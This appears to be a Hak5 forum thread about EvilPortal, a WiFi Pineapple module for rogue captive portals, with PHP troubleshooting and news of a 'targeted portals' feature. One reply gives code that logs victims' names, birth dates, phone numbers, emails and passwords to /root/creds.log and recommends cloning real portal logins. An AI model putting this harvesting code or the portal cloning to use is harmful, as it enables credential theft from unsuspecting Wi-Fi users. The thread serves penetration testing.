Jump to content

newbi3

Recommended Posts

Thanks for making such an awesome module.  Put up a bitcoin donation address on your next video tutorial and I'll send some bitcoin to help continue fund development.

 

Also on the last video where you show how to add the email to the log file, I got it to work but the new line code (/n)does not seem to work.  It over writes the top entry every time.  Fiddled around for a few hours trying to get it to actually go to the next line.  Any help would be appreciated.

Link to comment
Share on other sites

  • Replies 263
  • Created
  • Last Reply
On 8/4/2016 at 3:48 PM, dood said:

Thanks for making such an awesome module.  Put up a bitcoin donation address on your next video tutorial and I'll send some bitcoin to help continue fund development.

 

Also on the last video where you show how to add the email to the log file, I got it to work but the new line code (/n)does not seem to work.  It over writes the top entry every time.  Fiddled around for a few hours trying to get it to actually go to the next line.  Any help would be appreciated.

You probably just need to append to the file instead of clobbering it.  I'm not sure what video you referenced but in PHP the normal way to append to a file is like this:

$fh = fopen("myfile.txt", "a+");
fwrite($fh, "new line");
fclose($fh);

Using "a" or "a+" will append to the file (the + operator ensures the file is created if it doesn't exist).  You can also use file_put_contents.

file_put_contents("myfile.txt", "newline", FILE_APPEND);

 

Link to comment
Share on other sites

I had similar issue but used the following to work for me - all be it buggy at times.

file_put_contents("/root/creds.log", "\n{$this->request->firstname}", FILE_APPEND);
file_put_contents("/root/creds.log", "\n{$this->request->lastname}", FILE_APPEND);
file_put_contents("/root/creds.log", "\n{$this->request->dob}", FILE_APPEND);
file_put_contents("/root/creds.log", "\n{$this->request->mob}", FILE_APPEND);
file_put_contents("/root/creds.log", "\n{$this->request->email}", FILE_APPEND);
file_put_contents("/root/creds.log", "\n{$this->request->pass}", FILE_APPEND);
file_put_contents("/root/creds.log", "\n{$this->request->pass2}", FILE_APPEND);

To be fair i now use portal auth site cloning where possible, awsome tool in combo with EvilPortal!

Link to comment
Share on other sites

I'm glad you guys got it working but I'm feeling the need to repeat myself again... THIS IS NOT A THREAD TO ASK FOR HELP ON WRITING HTML, PHP, OR JAVASCRIPT. THERE ARE OTHER PLACES TO LEARN TO PROGRAM OTHER THAN THIS THREAD.

If you have questions about code not working try and google it first I'm sure your question has already been answered on stack overflow. If its not there then refer to the documentation for the language you are programming in. If all else fails feel free to post your question here: https://forums.hak5.org/index.php?/forum/40-applications-amp-coding/

Have a bunch of posts asking about code not working makes it harder for people to find information that they need.

Thanks.

Link to comment
Share on other sites

  • 2 weeks later...
On 3/18/2016 at 8:43 AM, sud0nick said:

I've come across another problem, not sure if others have experienced this. Once a client is authorized, if they try to go to the site they originally tried to access when the portal was displayed it continues to display the portal. Once I navigate away to another site using HTTP (getting harder to find these days) then everything works. For example:

Client attempts to access http://stackoverflow.com/
Captive portal is displayed
Client is authorized (but not redirected)
Client attempts to access http://stackoverflow.com/again and the captive portal is displayed once again even though they received the message stating they were authorized and their IP appears in the Authorized Clients list.
Client attempts to browse to http://www.puffycode.com/and all is well.

Edit:

One final thing. Can we get an option to store portals on the SD card on the NANO? Otherwise we're going to run out of storage space real quick.

In case anyone is still having problem with the caching issue mentioned in the quote. Try the below soln. Works for me. 

 

Quote

<html>
<head>
<meta http-equiv="cache-control" content="no-cache" />
<meta http-equiv="expires" content="-1" />
<meta http-equiv="pragma" content="no-cache" />
</head>

...

 

Link to comment
Share on other sites

saw some queries on captive portal without having to click on authorization button. 
ps. didnt have time to test this code, but figured it might be useful. try saving this as index.php. 

<?php
// Attempt to get the client's ip address
$ip=$_SERVER["REMOTE_ADDR"];

// Attempt to add iptables rule to enable client ip
exec("sudo iptables -t nat -I PREROUTING -s " + ip_address + " -j ACCEPT");

// Attempt to add ip into the whitelist
$whitelist = "/tmp/EVILPORTAL_CLIENTS.txt"
$file = fopen( $whitelist, "a" );
fwrite( $file, "$ip\n" );
fclose( $file );
?>

 

Link to comment
Share on other sites

Hi, Firstly a great project and I appreciate the time you have spent on it.  I've managed to setup a simple portal for a demo i'm doing on Monday but one quick question, how would I change the "you have been authorized successfully." message?  Many Thanks.

Link to comment
Share on other sites

I've changed my WiFi pineapples IPs. Any chance you can tweak it to work with whatever IP the Pineapple has?

I've poured through a hand full of files replacing the hardcoded IPs, but had marginal success.

 

Any tips, tricks, or a list of files to tweak?

Link to comment
Share on other sites

8 hours ago, anode said:

I've changed my WiFi pineapples IPs. Any chance you can tweak it to work with whatever IP the Pineapple has?

I've poured through a hand full of files replacing the hardcoded IPs, but had marginal success.

 

Any tips, tricks, or a list of files to tweak?

Here is a list of files to change:

https://github.com/frozenjava/EvilPortalNano/search?utf8=✓&q=172.16.42

Maybe in a future release it wont assume the network is 172.16.42.0/24. The reason why it currently isn't is because its extra work for a small margin of users. If you want to fork it and make it ip-independent, and it works, I'll merge the changes.

Link to comment
Share on other sites

@sud0nick To address your redirect comment in the "Real Issues" post on page 1: the way I got around this was with a trick I learned from you in different post (about landing page images not showing up of all things). I just added the "require_once" code to the landing page, pointing to my evil portal page. This way, the auth page pops before they even get a chance to try to navigate. After auth, they can go where they please without the wonky redirect/caching issue.

For those unfamiliar and wanting to know wtf I'm talking about enter the following syntax on your landing page php file:

require_once('path/to/your/evil/portl/index.php');

You can find the path easy enough by navigating to the portal in question via Cabinet > www > captiveportal > 

Just copy and paste the already provided path under "location".

Link to comment
Share on other sites

3 hours ago, newbi3 said:

Here is a list of files to change:

https://github.com/frozenjava/EvilPortalNano/search?utf8=✓&q=172.16.42

Maybe in a future release it wont assume the network is 172.16.42.0/24. The reason why it currently isn't is because its extra work for a small margin of users. If you want to fork it and make it ip-independent, and it works, I'll merge the changes.

A possible kludge of a  'fix'..... environment variables?

But thanks! will pour into it and se what I come up with.

Link to comment
Share on other sites

5 hours ago, skimpniff said:

@sud0nick To address your redirect comment in the "Real Issues" post on page 1: the way I got around this was with a trick I learned from you in different post (about landing page images not showing up of all things). I just added the "require_once" code to the landing page, pointing to my evil portal page. This way, the auth page pops before they even get a chance to try to navigate. After auth, they can go where they please without the wonky redirect/caching issue.

For those unfamiliar and wanting to know wtf I'm talking about enter the following syntax on your landing page php file:

require_once('path/to/your/evil/portl/index.php');

You can find the path easy enough by navigating to the portal in question via Cabinet > www > captiveportal > 

Just copy and paste the already provided path under "location".

Cool, I'll have to try it out.  If it works for me I'll probably add it as a default in all of the injection sets for Portal Auth.  Seems strange, though, I thought that file was already in the data flow path by default.  I'll check it out when I find some time.

Link to comment
Share on other sites

On 9/8/2016 at 2:41 PM, skimpniff said:

For those unfamiliar and wanting to know wtf I'm talking about enter the following syntax on your landing page php file:

require_once('path/to/your/evil/portl/index.php');

Now that I've given this a second look I'm confused.  The "landing page" in Evil Portal is index.php.  Are you talking about the landing page built into the Pineapple?

Link to comment
Share on other sites

I've got an odd issue. I've got a HTML page that I renamed to index.php. It works fine in XAMPP, but not in EP (Just get  blank screen). If I rename the index.php back to index.htm, and make sure there is no index.php in the directory, EP seems to pick up the index.htm, and everything works fine. Will this workaround be OK? Will future versions of EP force only using index.php?

 

Link to comment
Share on other sites

20 hours ago, RChadwick said:

The symbolic link seems to work good. Still, would be good if the plugin could do this.

I plan on having this baked into Evil Portal in a future release.

29 minutes ago, RChadwick said:

I've got an odd issue. I've got a HTML page that I renamed to index.php. It works fine in XAMPP, but not in EP (Just get  blank screen). If I rename the index.php back to index.htm, and make sure there is no index.php in the directory, EP seems to pick up the index.htm, and everything works fine. Will this workaround be OK? Will future versions of EP force only using index.php?

 

How did you make this page? It sounds to me like you have php in that file that is raising an error which is why nothing is showing up... Please make your portal with the Evil Portal module and then modify the html to your hearts content, or enable PHP errors in /etc/php.ini and restart nginix afterwards to see whats going on. If you do have an error that you need help with please feel free to ask for help over here: https://forums.hak5.org/index.php?/forum/40-applications-amp-coding/. But if it turns out to be an issue with EP I'll help you here.

Link to comment
Share on other sites

You're right, PHP error. I modified php.ini and easily saw and corrected the errors.

Another quick question... Are the files for the portal critical? For instance, I have my own php file that handles form input. Do I have to use myportal.php? Best I can tell, the only important thing is the portalname.ep file.

Link to comment
Share on other sites

29 minutes ago, RChadwick said:

You're right, PHP error. I modified php.ini and easily saw and corrected the errors.

Another quick question... Are the files for the portal critical? For instance, I have my own php file that handles form input. Do I have to use myportal.php? Best I can tell, the only important thing is the portalname.ep file.

MyPortal.php extends Portal which is knows how to handle authorization and do the redirection and all of that jazz so unless you re-write all of that code it's important that you keep it. You can add you own form handling to MyPortal.php in the handleAuthorization method above where it calls parent::handleAuthorization();

I plan on doing a video that talks about the architecture of EP more in depth for more advanced users.

I'm glad you got it fixed :)

Link to comment
Share on other sites

Thanks for the help. I've got another issue. If I connect to the EP, and try to go to aol.com, the portal shows up fine. However, if I go to a more complicated page, such as what Windows tries to go to when it detects a portal (go.microsoft.com/fwlink/?LinkID=246412&clid=0x412), I get the page minus any graphics. When I try to view any of the images, it just shows the webpage again, minus the graphics.

Link to comment
Share on other sites

  • 2 weeks later...

The next version of Evil Portal is almost ready and I would like some beta testers. If you are interested head on over to the git repo and get the development code onto your pineapple. The installation instructions are in the readme. https://github.com/frozenjava/EvilPortalNano/tree/development

The new release has an entirely new type of portal called a Targeted Portal. These portals let you route clients to a specific page based on a rule such as their mac address, associated ssid, hostname, and useragent. Each one of these rules can have a set value or a regular expression value and there can be an unlimited number of set rules. You will have to create a landing page to be served to the target client(s). By default the default.php landing page will be serve to any client who doesn't match any rule. This file can be modified to how you wish.

There is also a new file in the portals called helper.php which contains 3 functions: getClientMac, getClientSSID, getClientHostName these functions can be used in your portal to display information about the client to them or for whatever other purpose you have.

I would like to not that for the getClientSSID function and the ssid target portal rule to work, PineAP MUST be enabled!

This release has a lot of new and re-worked features that need testings so here they are:

  • Rules and rule editing works for Targeted portals
  • Creating Portals on an SD card (should not be allowed if there is no SD card)
  • Moving Portals between internal and SD storage (should not be allowed if there is no SD card)
  • Creating Targeted and Basic Portals
  • Deleting files and portals
Link to comment
Share on other sites

  • newbi3 pinned and unpinned this topic

Wow, targeted portals is really nice addition. Guessing it would be tricky to convert portal types back and forth? thinking a basic index.php could become a targeted default.php and vice versa but I'm sure theres more to it than that?

Link to comment
Share on other sites

16 hours ago, Just_a_User said:

Wow, targeted portals is really nice addition. Guessing it would be tricky to convert portal types back and forth? thinking a basic index.php could become a targeted default.php and vice versa but I'm sure theres more to it than that?

All you have to worry about from your perspective is creating the rules and the destinations. If there is no rule that matches a specific client then the default.php contents will be displayed to them. All of the destinations, including default.php can be programmed exactly the same way as the code in index.php for basic portals.

Here is an example with pictures:

I have a targeted portal called "targeted" and I am editing the rules for it. I created one ssid rule for "coffee-shop-wifi" to serve coffee.php to those clients and another hostname rule for clients with the hostname "android" so serve all clients with that hostname "android.php".

oQ8mHZU.png

Next I created the coffee.php and android.php files and copied the code from default.php into them - which is the same code (by default) as the code in index.php for basic portals. And again this can and should be modified.

ON5avgE.png

VEHvmJD.png

I plan on making video discussing targeted portals in more detail sometime soon, but I hope this clears it up a bit for you and everyone else.

 

 

Link to comment
Share on other sites

Archived

This topic is now archived and is closed to further replies.

  • Recently Browsing   0 members

    • No registered users viewing this page.

×
×
  • Create New...